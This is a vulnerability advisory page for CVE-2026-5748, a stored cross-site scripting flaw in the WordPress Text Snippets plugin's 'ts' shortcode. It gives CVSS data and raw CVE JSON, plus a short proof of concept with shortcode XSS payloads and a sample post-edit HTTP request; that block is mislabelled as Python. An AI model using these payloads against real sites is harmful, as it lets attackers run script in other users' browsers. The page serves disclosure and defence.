Security Vulnerability Report
中文
CVE-2026-5748 CVSS 6.4 MEDIUM

CVE-2026-5748

Published: 2026-04-22 09:16:26
Last Modified: 2026-04-22 20:22:51

Description

The Text Snippets plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's `ts` shortcode in all versions up to, and including, 0.0.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Text Snippets Plugin <= 0.0.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC for CVE-2026-5748: Stored XSS in Text Snippets Plugin Description: Injecting malicious script via the 'ts' shortcode attributes. --> <!-- Step 1: Attacker (Contributor role) creates/edit a post --> <!-- Payload injected into the post content --> [ts id="1" onmouseover="alert('XSS_CVE-2026-5748')"] <!-- Alternatively, if the plugin allows arbitrary attributes: --> [ts snippet_id="1" title="<img src=x onerror=alert(1)>"] <!-- Step 2: Simulated HTTP Request to WordPress --> POST /wp-admin/post.php HTTP/1.1 Host: target-wordpress.com Cookie: wordpress_logged_in_xxx=... Content-Type: application/x-www-form-urlencoded post_title=Test+Post&content=%5Bts+id%3D%221%22+onmouseover%3D%22alert%281%29%22%5D&action=editpost&post_ID=123&_wpnonce=xxx

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-5748", "sourceIdentifier": "[email protected]", "published": "2026-04-22T09:16:25.700", "lastModified": "2026-04-22T20:22:50.570", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Text Snippets plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's `ts` shortcode in all versions up to, and including, 0.0.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/text-snippet/tags/0.0.1/text-snippet.php#L78", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/text-snippet/trunk/text-snippet.php#L78", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/8cc7a0f3-6a58-4e42-9341-aecf55d2ccb1?source=cve", "source": "[email protected]"}]}}